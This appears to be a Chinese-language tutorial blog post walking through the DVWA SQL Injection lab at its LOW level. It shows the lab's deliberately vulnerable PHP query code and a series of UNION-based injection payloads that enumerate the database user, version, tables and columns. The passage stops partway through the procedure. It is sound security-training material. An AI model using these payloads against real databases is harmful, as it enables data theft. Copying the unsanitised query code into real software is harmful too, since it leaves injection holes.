1. 程式人生 > 其它 >DVWA-SQL Injection(SQL注入)

DVWA-SQL Injection(SQL注入)

sql注入是典型、常見的Web漏洞之一,現在在網路中也可能存在,不過大多數為SQL盲注
攻擊者通過惡意的SQL語句來破壞SQL查詢語句,達到資料庫洩露的目的

LOW

審計原始碼

<?php
// 判斷是否提交
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // 獲取傳入的 id
    $id = $_REQUEST[ 'id' ];
    // switch case 語句,類似於if elif else語句
    // 判斷資料庫型別
    switch ($_DVWA['SQLI_DB']) {
        // mysql資料庫
        case MYSQL:
            // 定義sql語句
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            // 進行資料庫查詢
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // 從結果集中取得一行作為關聯陣列
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // 獲取 first_name 和 last_name 欄位內容
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // 列印使用者資訊
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        // sqlite資料庫
        case SQLITE:
            global $sqlite_db_connection;

            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    } 
}

?>

通過觀察,只是判斷了伺服器的資料庫,沒有對我們傳入的ID進行一些過濾,可以直接進行SQL注入

union 聯合查詢注入

判斷注入型別

使用1或者1a來進行判斷,如果是數字型別,1a就會報錯
http://172.19.31.9/dvwa/vulnerabilities/sqli/?id=1a&Submit=Submit#

1a正常執行,可以看出是字元型的,需要我們輸入'進行閉合
構造閉合id=1'#

正常回顯

order by 判斷欄位數

1' order by 1#

正常執行
在輸入1' order by 3#時,進行了報錯

那麼就是有兩個欄位數

union select 1,2查看回顯欄位

1' union select 1,2 #



這裡成功回顯了我們select 1,2的值,也顯示了上一個註釋的語句的輸出,可以輸入
-1' union select 1,2 #,-1讓前面的語句報錯,只顯示了後面的查詢內容

database()獲取當前資料庫

-1' union select user(),version()#

回顯了當前資料庫的使用者、資料庫版本號
再次使用database()、@@datadir,獲取資料庫目錄和當前資料庫名
-1' union select @@datadir,database()#

得到當前資料庫名為dvwa

獲取dvwa資料庫中的表

-1' union select table_name,2 from information_schema.tables where table_schema=database()#



發現報錯,這裡是欄位列的編碼格式不一樣,只需要把table_namehex()函式包裹起來,因為mysql是認識十六進位制的
-1' union select hex(table_name),2 from information_schema.tables where table_schema=database()#

First name列中,顯示了兩次的資料,代表有兩個資料庫,將其中的十六進位制解碼得到
使用HackBar解碼後得到6775657374626F6F6B的值為guestbook,另一個是users

有時候其他的靶場只能回顯一段資料,不像現在一樣回顯兩段資料,可以使用group_concat,將每行的資料使用,隔開進行顯示
-1' union select group_concat(hex(table_name)),2 from information_schema.tables where table_schema=database()#

這樣就顯示了一段資料

獲取users表中的欄位名

-1' union select column_name,2 from information_schema.columns where table_schema=database() and table_name=0x7573657273#
查詢資料庫中欄位的名稱,where用篩選到dvwa資料庫中的users表,database()執行轉換為dvwa,mysql可以讀取十六進位制,0x7573657273users
查詢報錯